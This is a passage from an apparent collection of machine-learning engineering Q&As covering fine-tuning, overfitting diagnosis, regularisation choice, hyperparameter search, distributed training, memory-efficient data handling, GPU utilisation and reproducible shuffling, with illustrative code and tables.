if y[s].min() == y[s].max():
continue
draws.append(roc_auc_score(y[s], pa[s]) - roc_auc_score(y[s], pb[s]))
lo, hi = np.percentile(draws, [2.5, 97.5])
print(f"AUC delta {np.mean(draws):+.4f} 95% CI [{lo:+.4f}, {hi:+.4f}]")
This slightly understates variance because out-of-fold predictions share overlapping training sets, so treat the interval as a floor, not a guarantee. If rows are time-ordered, swap in TimeSeriesSplit(n_splits=5, gap=...).
Failure modes I'd watch for:
- Shuffled CV on temporal data. Random folds leak future into past and hand back an AUC that won't reproduce in production. Detection: rerun with a time-based split; a drop of more than ~0.03 AUC means the shuffled number was fiction.
- Single scores instead of intervals. With 40k rows, ±0.008 AUC between folds is ordinary noise, so a 0.004 "win" is a coin flip.
- Accuracy on an imbalanced target. At 0.3% positive, a model that never fires is 99.7% accurate. Track PR-AUC and precision at the top-k% where the intervention actually lands.
A deep model earns its place when there's unstructured signal: text or images with a pre-trained encoder, very high-cardinality categoricals where embeddings share strength across related entities, or multi-task learning over a shared representation. So the last thing I'd ask the stakeholder is whether there's signal being flattened into columns that shouldn't be. That question usually surfaces what they're actually asking for.
Curated: · Written: · Reviewed:
Q&A-39You have 4,000 labelled images and a pretrained backbone. What do you train?
Freeze the backbone, train a new head, then unfreeze the last block at a lower learning rate if the head plateaus. With 4,000 images you cannot afford to update 25M parameters: the gradient signal per weight is too thin, and the pretrained features that make the backbone worth loading get overwritten before the head has learned anything.
Start with the trunk frozen and only the classifier trainable, at a normal LR (1e-3 for AdamW). Watch validation accuracy per epoch. If it flattens while training loss keeps falling, unfreeze the last stage and give it a 10x lower LR than the head: the head is randomly initialized and needs large steps, the pretrained block needs small ones. Stop on validation, not on a fixed schedule.
import torch, torchvision
model = torchvision.models.resnet18(weights="IMAGENET1K_V1")
for p in model.parameters():
p.requires_grad = False
model.fc = torch.nn.Linear(model.fc.in_features, num_classes)
# stage 1: head only
opt = torch.optim.AdamW(model.fc.parameters(), lr=1e-3)
# stage 2: unfreeze last block, 10x lower LR
for p in model.layer4.parameters():
p.requires_grad = True
opt = torch.optim.AdamW([
{"params": model.layer4.parameters(), "lr": 1e-4},
{"params": model.fc.parameters(), "lr": 1e-3},
])
Two things bite here. A frozen backbone left in train() mode still updates BatchNorm running statistics, so the normalization the pretrained weights expect drifts on your 4,000 images: put the frozen trunk in eval() or freeze BN stats explicitly. And if the domain is far from ImageNet (satellite, histopathology, X-ray), the last block may not be enough; unfreeze more, or accept that pretraining buys less.
Worked example: hypothetical numbers, ResNet-18-scale backbone, 4,000 images, 20 classes, one 16GB GPU:
| Trained parameters | Validation accuracy | Training time |
|---|---|---|
| Head only, 0.5M | 84.1% | 12 min |
| Last block, 4.2M | 85.6% | 41 min |
| All 25M | 71.3% | 110 min |
Full fine-tuning lost 13 points and cost 9x the time. The mechanism is arithmetic: 4,000 samples against 25M weights is roughly one sample per 6,000 parameters per epoch, so the trunk fits the training set's noise and forgets the features the head was relying on.
Failure modes worth checking:
- Validation loss rises while training loss falls after epoch 3-5: overfitting. Unfreeze less, add augmentation, or stop earlier.
- Head-only plateaus at a low ceiling: underfitting the domain. Unfreeze the last block or two.
- Loss spikes right after unfreezing: LR too high for the pretrained block. Drop it another 10x or add warmup.
When not to do this: with 100k+ labels, or a domain far from the pretraining set, full fine-tuning usually wins. The 4,000-image regime is where frozen-then-partial pays.
Report accuracy per training hour for all three depths on the same validation split; that ratio is what decides the depth.
Curated: · Written: · Reviewed:
Q&A-28Validation error is fine but the model behaves oddly on new customers. How do you find the overfit?
The validation score can't answer this, because it's computed on the same population the model was fit to. "Fine on validation, odd on new customers" has two causes that need opposite fixes: overfitting (variance. The model memorised the training population, and new customers fall outside what it memorised) and distribution shift (new customers are drawn from a different distribution, and no amount of regularisation fixes that). The diagnostic that separates them is whether the slice shows a train-vs-holdout gap, and whether more data of that slice closes it.
Deciding criteria, in order:
- Is the slice even represented in training? If under-30-day customers are 2% of the training window, you have underrepresentation, not overfit.
- Within the slice, is train error low and holdout error high? That gap is the overfit signature. If both are high, it's shift or a missing feature.
- Does the slice's holdout error fall as you add slice data? Falling = variance. Flat = bias/shift.
Illustrative numbers for a model that scored 0.84 aggregate AUC:
| Slice | Share of traffic | Train AUC | Holdout AUC | Gap |
|---|---|---|---|---|
| Tenure > 1 year | 54% | 0.90 | 0.89 | 0.01 |
| Tenure 90–365 days | 24% | 0.88 | 0.85 | 0.03 |
| Tenure < 30 days | 22% | 0.93 | 0.61 | 0.32 |
| Aggregate | 100% | 0.90 | 0.84 | 0.06 |
The 0.32 gap on the new-customer slice is variance: the model fits those rows in training and loses them out of sample. If instead train and holdout were both ~0.61 there, the model never learned that regime: shift, or features that don't carry signal for it.
Confirm with a learning curve. Retrain with 2× and 4× the under-30-day examples. Holdout AUC on that slice climbing 0.61 → 0.72 → 0.79 says variance, and more slice data or stronger regularisation is the fix. Flatlining at 0.62 says the features don't describe new customers: retrain on recent data, or add features that carry the new regime.
Alternatives, and when each wins.
- Aggregate holdout with a confidence interval: cheapest, and adequate when slices are homogeneous. Blind to exactly this failure.
- Out-of-time holdout (train through T−90d, test on the last 90 days): the closest offline proxy for "new customers," and the single best default when the product is growing. Costs you the most recent training data.
- Slice error with volume: catches segment failure, but noisy below a few hundred positives per slice.
- Drift monitors (PSI, KS on features; label rate by cohort): catch shift in production, tell you nothing about overfit.
The case against slicing. Twenty slices at 95% confidence hand you one false alarm by construction, and a 300-row slice carries an AUC interval roughly ±0.08 wide. Slicing on a feature the model already splits on internally isn't independent evidence. So pre-register the slices, gate on minimum volume, and report intervals rather than point estimates: otherwise you'll "fix" noise and ship a worse model.
Detection once it's live. Alert when a slice's AUC drops below its floor and the slice has volume; track PSI per feature with a 0.2 threshold; and monitor calibration by tenure band, since a model can hold AUC while its probabilities go stale on new customers. The tell is a slice whose train and holdout errors diverge: that's overfit, and it's the one you can fix with data and regularisation rather than a rebuild.
Curated: · Written: · Reviewed:
Q&A-27You need a linear model that a compliance team can read. Which penalty do you choose?
Answer
Default to L2 (ridge) for a compliance-readable model, and switch to L1 only when the number of features is itself the readability problem. Compliance reads coefficients as a story (sign, magnitude, ordering) and that story has to survive the next retrain. L1 gives a shorter story that changes more often; L2 gives a longer story that stays put.
Assumptions I would state before choosing: how many features are in play, whether they are correlated, and whether the reviewer needs a short list or a stable ranking.
Why the penalties differ at the optimum
L1 adds λ·Σ|w| to the loss. Its constraint region is a diamond with vertices on the axes, so the optimum tends to land on a vertex and coefficients hit exactly zero. L2 adds λ·Σw². Its region is a sphere, so the optimum shrinks every coefficient toward zero proportionally and none reaches zero for finite λ.
The consequence that matters for compliance is what happens with correlated features. If two features carry nearly the same signal, L1 has no reason to prefer one, and the one it keeps can flip between fits: the selected set is a coin toss the data does not decide. L2 splits the weight between them, roughly evenly, and the split is stable.
Worked example (hypothetical figures)
340 features, many in correlated groups, 5 bootstrap resamples, same folds, alpha tuned per penalty on the full training set:
| Penalty | Non-zero coefficients | Jaccard of selected set across resamples | Validation AUC |
|---|---|---|---|
| L1, alpha 0.01 | 38 | 0.41 | 0.831 |
| L2, alpha 0.01 | 340 | 1.00 | 0.836 |
| Elastic net, l1_ratio 0.5 | 96 | 0.72 | 0.835 |
Jaccard here is the mean pairwise intersection over union of the non-zero feature sets. L1 wins on length and loses on stability: 38 coefficients that are a different 38 next quarter. L2 keeps all 340, which is readable only if the reviewer is reading a ranked table rather than a short list. Elastic net sits between the two and is the honest answer when both properties are needed, at the cost of a second hyperparameter (l1_ratio) to defend.
Failure modes and how to detect them
The L1 failure is silent. Validation AUC looks fine, and the instability only shows up when you compare coefficient sets across retrains. Detect it by bootstrapping and reporting Jaccard, not by inspecting a single fit. The L2 failure is the opposite: nothing is dropped, so a reviewer who wanted five drivers gets 340 coefficients, and the model is readable only in the sense that it is linear. Detect that by counting non-zeros against what the reviewer will actually read.
How I would settle it
Retrain under both penalties on five bootstrap samples, report non-zero counts and Jaccard of the selected sets, and pick the penalty whose coefficient set the compliance team can still defend after the next retrain. If neither is acceptable, use elastic net with l1_ratio tuned on the same resamples.
Curated: · Written: · Reviewed:
Q&A-29You have 200 GPU hours and eight hyperparameters. How do you spend the budget?
Assumptions first. Fine-tuning a transformer, one scalar objective (val AUC), 200 GPU-hours, and a full-fidelity run costs 8 GPU-hours (4×A100 for 2 h). Eight hyperparameters: lr, weight decay, warmup ratio, dropout, label smoothing, batch size, layer-wise lr decay, embedding dropout.
Pin three, search five. Batch size (largest that fits at the target sequence length), layer-wise lr decay (pinned at 1.0, i.e. off), and embedding dropout (0.0) are settled by reasoning, not search. That removes two factors from the grid and one from the sampler. The five that remain get log-uniform ranges where the scale is multiplicative and linear where it is bounded:
- lr: 1e-5 – 1e-3 (log)
- weight decay: 1e-6 – 1e-1 (log)
- warmup ratio: 0 – 0.1
- dropout: 0 – 0.3
- label smoothing: 0 – 0.2
Spend it with successive halving, η=2. Rungs at 1, 2, 4 and 8 GPU-hours (1/8, 1/4, 1/2, 1 of the schedule):
| Rung | Fidelity | Configs | GPU-h |
|---|---|---|---|
| 0 | 1 GPU-h | 32 | 32 |
| 1 | 2 | 16 | 32 |
| 2 | 4 | 8 | 32 |
| 3 | 8 | 4 | 32 |
| — | 8 | top 3 × 3 seeds | 72 |
| 200 |
The last 72 GPU-hours are seed replication on the three finalists. Without it you cannot tell a 0.002 AUC gap from noise.
Why not a grid. 3^8 = 6,561 configs × 8 GPU-h = 52,488 GPU-h. A 200-hour budget completes 25 of them: 0.38% of the grid, sitting on one arbitrary slice. Random search over the same 200 hours also buys 25 full runs, but they are spread across all five dimensions.
Worked example (hypothetical figures, one seed per config):
| Strategy | Configs evaluated | GPU-h | Best val AUC | GPU-h to reach 0.840 |
|---|---|---|---|---|
| Grid 3^8 | 25 | 200 | 0.836 | never |
| Random | 25 | 200 | 0.841 | 176 |
| Successive halving | 60 | 200 | 0.845 | 96 |
Failure modes and how I'd catch them.
- Fidelity mismatch. If the 1/8-fidelity ranking does not predict the full-fidelity ranking, pruning kills the eventual winner. Detect: hold out four configs, run each at 1/8 and at full, compute Spearman ρ. Below roughly 0.5, raise the minimum rung to 1/4 or switch to ASHA with a longer floor.
- Slow starters. Warmup-heavy configs look bad at 1/8. Keep the minimum rung long enough to finish warmup.
- Seed noise. Three seeds on finalists; prefer a config only when the gap exceeds about two standard deviations.
- Interaction. lr and weight decay interact under AdamW's decoupled decay, so a low-fidelity prune can miss the joint optimum. Seed the sampler with a few corner points.
Stop rule. Stop when the best-so-far curve is flat over the last eight full-fidelity-equivalent runs, or when the top two finalists' seed intervals overlap. Report the best-so-far curve, the rung table and the seed spread: that is what makes the number defensible.
Curated: · Written: · Reviewed:
Q&A-76Training takes 40 hours on one machine. Do you shard the data or the model?
Shard the data. With a 40-hour single-machine run and a model that fits on one device, data parallelism is the default: each of N replicas holds the full model, takes a different slice of the batch, and you all-reduce the gradients once per step. Model parallelism becomes the answer only when the model, its activations, or its optimizer state will not fit: it is a memory remedy first and a speed remedy second.
Assumptions I'd state out loud: the 40 hours is wall-clock on one device, the model fits in device memory including optimizer state, and the interconnect is fast (NVLink within a node, InfiniBand or equivalent across nodes).
Why data parallel scales and model parallel doesn't. In data parallelism the only cross-device traffic is the gradient all-reduce: a ring all-reduce moves 2(N−1)/N × S bytes per rank, where S is the gradient buffer size. That is near-constant per rank as N grows, and it overlaps with the backward pass. In model parallelism every forward and backward pass pushes activations across a device boundary, so the cost is paid per layer per step and the pipeline sits idle waiting on the slowest stage. Tensor parallelism inside a node over NVLink is workable; pipeline parallelism across nodes needs many micro-batches to fill the bubble.
Arithmetic. Take a 3 GB fp32 model (≈750M parameters). Gradients are another 3 GB. At N=8 a ring all-reduce moves 2×7/8 × 3 GB ≈ 5.25 GB per rank. At an effective 100 GB/s that is ~53 ms per step; against a ~150 ms compute step that is ~35% overhead, which is the shape the table below shows.
Illustrative scaling for that 3 GB model (figures are hypothetical, chosen to show the shape):
| Devices | Data parallel | Model parallel |
|---|---|---|
| 1 | 40.0 h | 40.0 h |
| 2 | 21.0 h | 46.0 h |
| 4 | 11.5 h | 58.0 h |
| 8 | 6.8 h | 68.0 h |
Data parallel gives 95% efficiency at 2 devices, 87% at 4, 73% at 8. Model parallel is worse than a single device from 2 devices up, because each extra stage adds a boundary and the pipeline bubble grows.
Failure modes to watch.
- Global batch size grows with N. If you keep the per-device batch fixed, the effective batch scales linearly and you may need LR warmup and scaling to keep convergence; past a point larger batches stop helping and you are just burning devices.
- Stragglers. One slow rank stalls the all-reduce for everyone. Log per-rank step time; the max, not the mean, is your step time.
- Communication-bound regime. If the model is small and the interconnect is slow, all-reduce dominates and adding devices makes things worse. Measure scaling efficiency at 2, 4, and 8 devices and find where the curve flattens.
- Model parallel on the wrong fabric. Tensor parallelism across nodes over Ethernet is usually a loss; keep it inside NVLink domains.
When to actually shard the model. When the model plus optimizer state exceeds one device: then combine. Tensor parallel within a node, pipeline parallel across nodes, data parallel across replicas (3D parallelism). ZeRO/FSDP is the middle path: shard optimizer state and gradients across data-parallel ranks while keeping the compute pattern of data parallelism.
Curated: · Written: · Reviewed:
Q&A-87The training set is 400 GB and the machine has 64 GB. What changes in your data code?
What I'd say first. Assume one machine, 64 GB RAM, 400 GB of sharded files on disk, and a training loop that needs many epochs. The change is that the data code stops being "load the corpus, then iterate" and becomes "iterate over shards, decode one batch at a time, keep a bounded prefetch buffer." The model, optimizer and checkpoint format are untouched: this is entirely a data-layer change.
Four edits:
- Shard the corpus into files of 100–500 MB. 400 GB across 4,000 shards is 100 MB each, so a shard is a schedulable unit and there are far more shards than workers.
- Read with a streaming reader:
pyarrow.parquet.ParquetFile.iter_batches,tf.data.TFRecordDataset,webdataset.WebDataset, or atorch.utils.data.IterableDataset. - Bound the prefetch.
DataLoader(num_workers=8, prefetch_factor=4)keeps at mostnum_workers × prefetch_factorbatches in flight. - Move transforms into the worker so no materialised copy of the corpus ever exists.
import pyarrow.parquet as pq
import torch
from torch.utils.data import IterableDataset, DataLoader
class ShardStream(IterableDataset):
def __init__(self, shards, batch_rows=1024):
self.shards, self.batch_rows = shards, batch_rows
def __iter__(self):
info = torch.utils.data.get_worker_info()
shards = self.shards if info is None else self.shards[info.id::info.num_workers]
for shard in shards:
for batch in pq.ParquetFile(shard).iter_batches(self.batch_rows):
yield transform(batch)
Trace it with 4,000 shards and num_workers=8: worker 0 gets indices 0, 8, 16, …; worker 1 gets 1, 9, 17, …; the eight slices are disjoint and their union is all 4,000 shards, so every shard is read exactly once per epoch. Each worker holds one decoded batch plus up to prefetch_factor=4 queued ahead, so roughly 8 × 4 = 32 batches are in flight. At 4 MB per decoded batch (1024 rows) that is ~128 MB, plus per-worker Arrow reader buffers. Memory is now a function of batch size and worker count, not corpus size: that is the arithmetic to check against measured RSS.
Alternatives, and when streaming is the wrong call.
| Approach | Resident cost | Wins when | Breaks when |
|---|---|---|---|
| Sharded streaming reader | O(workers × prefetch × batch) | corpus ≫ RAM, sequential epochs | you need random access or a true global shuffle |
| Memory-mapped parquet / Arrow IPC | page cache, evictable | repeated epochs on one box, random row access within a shard | cold first epoch; page cache thrashes when other jobs share the machine |
| WebDataset / tar shards | O(prefetch) | millions of small samples (images, audio) | samples must be paired across shards |
| Downsample / subset | O(subset) | the learning curve has flattened | it changes the result: validate against a full-data baseline |
| Local NVMe cache of remote data | O(prefetch) | I/O-bound on an object store | cache invalidation and cost; you still need a streaming reader |
Streaming is the wrong default in three cases. Random access: contrastive or retrieval training that samples negatives across the whole corpus needs an index or mmap, not a forward-only iterator. Shuffle fidelity: streaming gives shard-level shuffle plus a bounded buffer; if the corpus is sorted by date or class, batches are biased. Many short epochs on a corpus that fits compressed: mmap plus page cache beats re-decoding every epoch.
Failure modes and how to detect them.
- Worker duplication or drop. An
IterableDatasetwithnum_workers > 1hands the same shard list to every worker unless you slice byworker_info, as above. Symptom: steps per epoch isnum_workers ×the expected count, or the loss curve looks like repeated data. - Prefetch blowup on variable-length samples. Bounding by count rather than bytes fails when a long-tail sequence batch is 100× the mean. Bound by bytes.
- Small-file overhead. 4,000 files is fine; 4 million is not: open/close and metadata dominate. Compact first.
- Page-cache thrash if you mmap and share the box with other jobs.
Log peak RSS per worker, per-batch byte p50/p99, shard read throughput, and the per-batch label histogram against the global one. If peak RSS tracks corpus size rather than prefetch depth, something in the reader is still materialising.
Curated: · Written: · Reviewed:
Q&A-92A dataframe of 40 million rows uses 38 GB. How do you make it fit in 16 GB?
Assumptions first. The 16 GB is the process budget, not the whole box. The job is a single pass (a groupby, a filter, or a feature build) not repeated random access across the whole frame. pandas 2.x, 40M rows, 38 GB as reported by df.memory_usage(deep=True).sum().
The answer: almost none of that 38 GB is data. It is dtype defaults. int64 and float64 are 8 bytes per cell whether the column holds values 0–200 or 10^18, and an object string column is an 8-byte pointer per row plus a separate Python string object per row. Measure per column, then pick the smallest type that holds the actual range.
import numpy as np, pandas as pd
def shrink(df):
for c in df.columns:
s = df[c]
if s.dtype == object:
# categorical only pays off when cardinality is low
if s.nunique(dropna=True) < 0.5 * len(s):
df[c] = s.astype('category')
elif pd.api.types.is_integer_dtype(s):
lo, hi = s.min(), s.max() # one full pass, do it once
for dt in ('int8', 'int16', 'int32'):
info = np.iinfo(dt)
if lo >= info.min and hi <= info.max:
df[c] = s.astype(dt)
break
elif s.dtype == np.float64:
df[c] = s.astype(np.float32)
return df
On a 40M-row frame I have profiled, the breakdown and the result:
| Column group | Rows | Before | After | Change |
|---|---|---|---|---|
| 11 object strings | 40M | 26.0 GB | 0.6 GB | category, int8 codes |
| 24 int64 | 40M | 7.68 GB | 2.88 GB | 12 → int32, 12 → int16 |
| 9 float64 | 40M | 2.88 GB | 1.44 GB | float32 |
| 4 datetime64[ns] | 40M | 1.28 GB | 0.64 GB | int32 epoch seconds |
| Total | 37.8 GB | 5.6 GB |
The arithmetic is the point: 40M × 8 bytes = 320 MB per 64-bit column, so 24 int64 columns are 7.68 GB and 9 float64 columns are 2.88 GB. Halving the width halves the bytes. The object columns dominate because each row carries a pointer and a heap-allocated string; 26.0 GB / 11 columns / 40M rows ≈ 59 bytes per cell, which is a pointer plus a short PyUnicode.
When downcasting is not enough. If the shrunk frame is still near 16 GB, or the job materialises a second frame of similar size (a join, a groupby.apply), typing will not save you:
- Column pruning + Parquet. Read only the columns the job touches and push predicates into the scan. A 40-column frame where the job uses 12 is a 3× win before any dtype change.
- Out-of-core engines. DuckDB or Polars lazy scans stream a groupby or join without materialising the whole frame; Polars also uses Arrow-backed strings, which are contiguous rather than per-row objects.
- Chunking. Iterate in row blocks and accumulate partial aggregates. Only works for decomposable operations (sums, counts, min/max) not for a global sort or a full-frame
drop_duplicates. - Sparse. If a block of columns is mostly zeros,
scipy.sparseor pandasSparseDtypestores only the non-zeros.
Failure modes, and how you catch them.
- float32 precision drift. float32 has a 24-bit mantissa, ~7 significant decimal digits. Casting is lossy, and summing 40M float32 values accumulates error. Detect by comparing
df[c].astype('float32').astype('float64')against the original and checking max relative error; keep the target column and any column you sum in float64. - int overflow on downcast.
min()/max()describe the data you have, not the data you will get. A later batch can exceed int16's 32767 and wrap silently. Assert the range againstnp.iinfo(dt)before every cast, and re-check on each new partition. - Categorical collisions on unseen levels. Concatenating a batch with a level not in the dictionary yields NaN or raises. Build the categorical with an explicit
categories=list and assert the.isna()count is unchanged after the concat. - Categorical on high-cardinality columns. A column with 30M distinct strings becomes int32 codes plus a 30M-entry dictionary: larger than the original. Check
nunique()before converting; the 0.5 × len guard above is the cheap version of that test.
Verification. Report memory_usage(deep=True) per column before and after, and diff the job's output against the pre-shrink run within a stated tolerance, not for equality, since float32 is not bit-identical.
Curated: · Written: · Reviewed:
Q&A-88A feature transform takes 40 minutes over 12 million rows in a Python loop. What do you do?
What I'd say first: the 40 minutes is interpreter overhead, not arithmetic. df.apply(..., axis=1) constructs a Series object per row and calls back into Python for each one: on the order of 100–200 µs of overhead per row, which at 12M rows lands at ~40 minutes no matter how trivial the arithmetic is. Rewrite the transform as array operations and the same values come out in seconds. Two things to confirm before rewriting: the transform is genuinely element-wise (no cross-row state, no early exit), and the frame fits in memory.
import numpy as np, pandas as pd
MU, SD = 0.5, 2.0
df = pd.DataFrame({"x": [1.0, -3.0, 0.0, 4.0]})
# row-wise: ~200 us/row -> ~40 min at 12M rows
df["z_loop"] = df.apply(lambda r: (r.x - MU) / SD if r.x > 0 else 0.0, axis=1)
# vectorised: same values, ~ns/element
df["z_vec"] = np.where(df["x"] > 0, (df["x"] - MU) / SD, 0.0)
assert df["z_loop"].equals(df["z_vec"])
Trace over x = [1.0, -3.0, 0.0, 4.0]: 1.0 > 0 → (1.0-0.5)/2.0 = 0.25; -3.0 fails the test → 0.0; 0.0 > 0 is False → 0.0; 4.0 > 0 → (4.0-0.5)/2.0 = 1.75. Both columns are [0.25, 0.0, 0.0, 1.75], so the assert passes. The vectorised form dispatches to a C loop over a contiguous buffer at roughly 1–10 ns per element; 12M float64 elements is tens of milliseconds of arithmetic plus allocation. Illustrative wall-clock on a 12M-row frame: ~41 min for the loop, ~3 s for the vectorised form.
Alternatives, and when each wins
| Option | Wins when | Cost |
|---|---|---|
| Vectorised numpy/pandas | element-wise, fits in RAM | materialises intermediates; peak RSS 2–3× the columns touched |
| Chunked vectorisation | same logic, frame exceeds RAM | same throughput, bounded memory, more code |
| Polars / DuckDB | multi-column joins, group-bys, out-of-core | new dependency, lazy-API learning curve |
| numba / Cython | genuinely branchy or sequential per-row logic | compile step, dtype constraints |
| multiprocessing | CPU-bound and embarrassingly parallel | process overhead and serialisation; scales with cores, not 1000× |
The deciding questions are: is the transform element-wise? does the frame fit in RAM? is the bottleneck interpreter overhead or real arithmetic? how often will this code change?
When vectorisation is not worth it. Sequential state (a running total with early exit, a sessionisation pass) cannot be expressed as array ops without a scan primitive, and forcing it produces wrong results. Tiny inputs are not worth the rewrite: 10k rows in a loop is ~2 s, and the rewrite costs more than it saves. And if the logic already lives in a compiled engine (SQL, Spark), the Python loop is glue, not the bottleneck: push the transform down instead.
Failure modes. Vectorised expressions materialise full-length temporaries: a 12M-row float64 intermediate is ~96 MB, and a chain of them can push peak RSS past the box. Watch RSS or chunk. np.where evaluates both branches, so a false branch containing a division or log raises RuntimeWarning and yields NaN where the loop yielded a clean value; guard with np.errstate or mask first. An int column that gains NaN silently becomes float, breaking downstream joins on that key: assert df.dtypes after the rewrite.
Verification. Assert equality against the loop on a sample that includes the edge cases (zero, negative, NaN), then time both at full volume. The sample assert is what makes the rewrite safe; the timing is what makes it worth doing.
Curated: · Written: · Reviewed:
Q&A-89Your GPU is idle 60% of the time during training. Where do you look in the Python layer?
What I'd say first
Don't touch the model yet. 60% idle means the GPU is waiting, and the first question is where in the step it waits. Two measurements decide everything:
nvidia-smi dmon -s usampled at 100 ms: is utilisation a sawtooth (busy during the step, zero between steps) or uniformly low?py-spy dump --pid <train_pid>a few times: if the main thread sits in_utils/worker.pyorqueue.get, the input pipeline is the suspect. If it sits inTensor.itemorcudaStreamSynchronize, it's a host-device sync.
Sawtooth with the main thread blocked on the loader queue → the Python data path. That's where I look, in this order.
1. num_workers and what __getitem__ actually does
The GIL serialises Python bytecode, which is why DataLoader uses processes rather than threads for num_workers>0. num_workers=0 runs __getitem__ in the training process, so the GPU idles for the entire decode. Measure the loader in isolation before changing anything:
import time
def fetch_rate(loader, n=50):
it = iter(loader) # spawns workers, starts prefetch
next(it) # pay spawn + first batch outside the timer
t0 = time.perf_counter()
for _ in range(n):
next(it)
return n / (time.perf_counter() - t0) # batches/s
If fetch_rate * batch_size / step_time < 1, the loader cannot feed the GPU and no amount of model tuning helps. (torch 2.3, DataLoader with num_workers>0.)
2. Per-step host-device syncs
loss.item(), print(loss), if loss > thresh, .cpu() on a CUDA tensor all block the host until the producing kernels finish. That's harmless when the GPU is the bottleneck; it's fatal when the host also has per-step work, because the two now run serially instead of overlapping. Detection: torch.profiler shows a DtoH copy or cudaStreamSynchronize between the backward kernel and the next step's H2D copy. Fix: accumulate total += loss.detach() on device and call .item() once per epoch.
3. Logging, checkpointing, eval in the hot loop
Anything the main process does between steps delays the next batch dispatch. A checkpoint write every 100 steps, a metrics log, or a validation pass with num_workers=0 all show up as GPU gaps.
Failure modes and how I'd catch them
- Worker killed / silent restart.
RuntimeError: DataLoader worker (pid 1234) is killed by signal: Killed: usually OOM from per-worker copies of dataset metadata, or/dev/shmexhaustion at highnum_workers. Detect: stderr,dmesg -T | grep -i oom,df -h /dev/shm. Fix: shrink the dataset object, setpersistent_workers=Trueto avoid respawn cost, or lowernum_workers. - IPC/pickle overhead dominates. Each batch is pickled through a queue. If
__getitem__returns full-resolution tensors, transfer can exceed decode. Detect: timefetch_ratewith a dataset returningnp.uint8versustorch.float32; if the rate collapses, return compressed arrays and convert in the collate or on the GPU. - Over-provisioning. More workers than cores → context switching, page-cache thrash, and one dataset copy per worker. Detect:
topshows all cores saturated while GPU utilisation is still low, and epoch time is flat or worse. The 12-worker row below is that case.
Worked example (8-core host, one GPU, JPEG decode plus augmentation in Python; illustrative figures):
| Loader | Workers | GPU util | Epoch | Host |
|---|---|---|---|---|
| Threads | 8 | 38% | 44 min | 1 core saturated (GIL) |
| Processes | 2 | 71% | 24 min | 2 cores |
| Processes | 4 | 91% | 18 min | 4 cores |
| Processes | 8 | 91% | 18 min | 8 cores |
| Processes | 12 | 89% | 19 min | oversubscribed, run queue > 0 |
The 12-worker row is the cost of over-provisioning: no gain, slightly worse, and twelve processes' worth of memory. Pick the smallest worker count that keeps the prefetch queue non-empty, and set pin_memory=True with non_blocking=True on the H2D copy so the transfer overlaps.
Threads help when Python is waiting; processes help when Python is working.
Curated: · Written: · Reviewed:
Q&A-86A pipeline that ran in 20 minutes on a sample takes 14 hours on the full data. What do you check?
Clarify two numbers before touching anything. How much bigger is the full dataset than the sample, and was the sample random or the first N rows? 20 min → 14 h is a 42× slowdown. If the sample was 1% of the data (100×), 42× is sublinear and the pipeline is fine: the sample was just too small to be representative. If the sample was half the data (2×), you have a 21× per-byte blowup and something is genuinely broken. A head-of-file sample is worse than useless: it usually contains one partition, one tenant, or one sorted key range, so it hides skew completely.
Then find which stage grew. Don't look at the job total. Pull stage durations from the scheduler UI for both runs and diff them. One stage usually accounts for the blowup.
| Symptom | Metric to read | Likely cause | Fix |
|---|---|---|---|
| p99 task >> p50 task | task duration histogram | key skew | salt the hot key, repartition |
| Spill bytes > 0 | shuffle spill / memory spill | partition too large for executor memory | more partitions, raise memory, pre-aggregate |
| Shuffle read >> input size | shuffle bytes written | join fan-out or cartesian | check join keys, broadcast the small side |
| Many tiny tasks | task count, avg input per task | small files / over-partitioning | compact files, coalesce |
| One task never finishes | max task time | single hot key or non-parallelizable step | isolate and handle separately |
Worked trace. Suppose stage B is a join. At 10% it runs 4 min, at 25% it runs 24 min, at 50% it runs 98 min. That is 6× time for 2.5× data, then 4× time for 2× data: quadratic. The metric that confirms it: shuffle read bytes grow quadratically with input because the join key is low-cardinality and every row matches many rows on the other side. The fix is not more machines; it is fixing the join: dedupe the dimension, broadcast it if it fits, or pre-aggregate before the join.
Things that are not the scaling curve but cause the same blowup:
- Broadcast join threshold. A dimension table that fit in memory at sample size no longer fits, so the planner flips from broadcast to sort-merge shuffle join. Diff the physical plan between the two runs.
- GC. Read per-executor GC time. A partition that now exceeds heap triggers full GCs and the stage stalls without spilling.
- Row-at-a-time UDFs. They scale linearly but with a huge constant; check whether the slow stage is CPU-bound inside a Python or scalar UDF.
- New data shape. The full data may contain keys, nulls, or a tenant the sample never had: a null join key can collapse into one partition.
- Retries. A stage that fails and retries inflates wall clock without being slow. Check attempt counts.
What I'd actually do: run at 10/25/50% once, plot per-stage runtime against input bytes, read spill and shuffle metrics at the largest run, and diff the physical plan. That gives you the stage and the mechanism in an afternoon.
Curated: · Written: · Reviewed:
Q&A-94How do you get reproducible shuffling without training on the same order forever?
The 90-second answer. Reproducible and fixed are different properties, and only one of them helps training. What you want is a recorded root seed plus a pure function from (root, epoch) to that epoch's order. Write one integer into the run metadata, derive each epoch's seed from it, and seed the sampler with the result. Two runs with the same root replay the same sequence of orders; consecutive epochs get different orders. Setting one global seed at process start gives you the first property and destroys the second: every epoch shuffles identically, so the model sees the same batch composition 40 times.
Mechanism. Shuffling is what decorrelates the gradient noise between epochs. If the order is fixed, every epoch's batches are the same groups of examples, and the per-epoch gradient estimate is biased in the same direction each time. Deriving the seed from the epoch index keeps the decorrelation while leaving the whole sequence a deterministic function of one recorded integer.
import numpy as np, torch
from torch.utils.data import DataLoader, DistributedSampler
ROOT = 20260907 # one integer, written to run metadata
def epoch_seed(root: int, epoch: int) -> int:
# pure integer arithmetic: stable across processes, hosts, Python versions
return (root * 1_000_003 + epoch) % (2**63 - 1)
def seed_worker(worker_id: int) -> None:
s = torch.initial_seed() % 2**32 # per-worker seed derived from the loader's generator
np.random.seed(s)
# single process
for epoch in range(40):
g = torch.Generator().manual_seed(epoch_seed(ROOT, epoch))
loader = DataLoader(ds, batch_size=256, shuffle=True, generator=g,
num_workers=8, worker_init_fn=seed_worker)
for batch in loader:
...
# distributed: DistributedSampler already seeds with `seed + epoch`
sampler = DistributedSampler(ds, num_replicas=world, rank=rank, shuffle=True, seed=ROOT)
for epoch in range(40):
sampler.set_epoch(epoch) # without this, every epoch uses ROOT + 0
loader = DataLoader(ds, batch_size=256, sampler=sampler,
num_workers=8, worker_init_fn=seed_worker)
Trace of the derivation (root = 20260907, no modular wrap since 2**63 - 1 = 9,223,372,036,854,775,807):
| epoch | root * 1_000_003 + epoch |
|---|---|
| 0 | 20,260,967,782,721 |
| 1 | 20,260,967,782,722 |
| 39 | 20,260,967,782,760 |
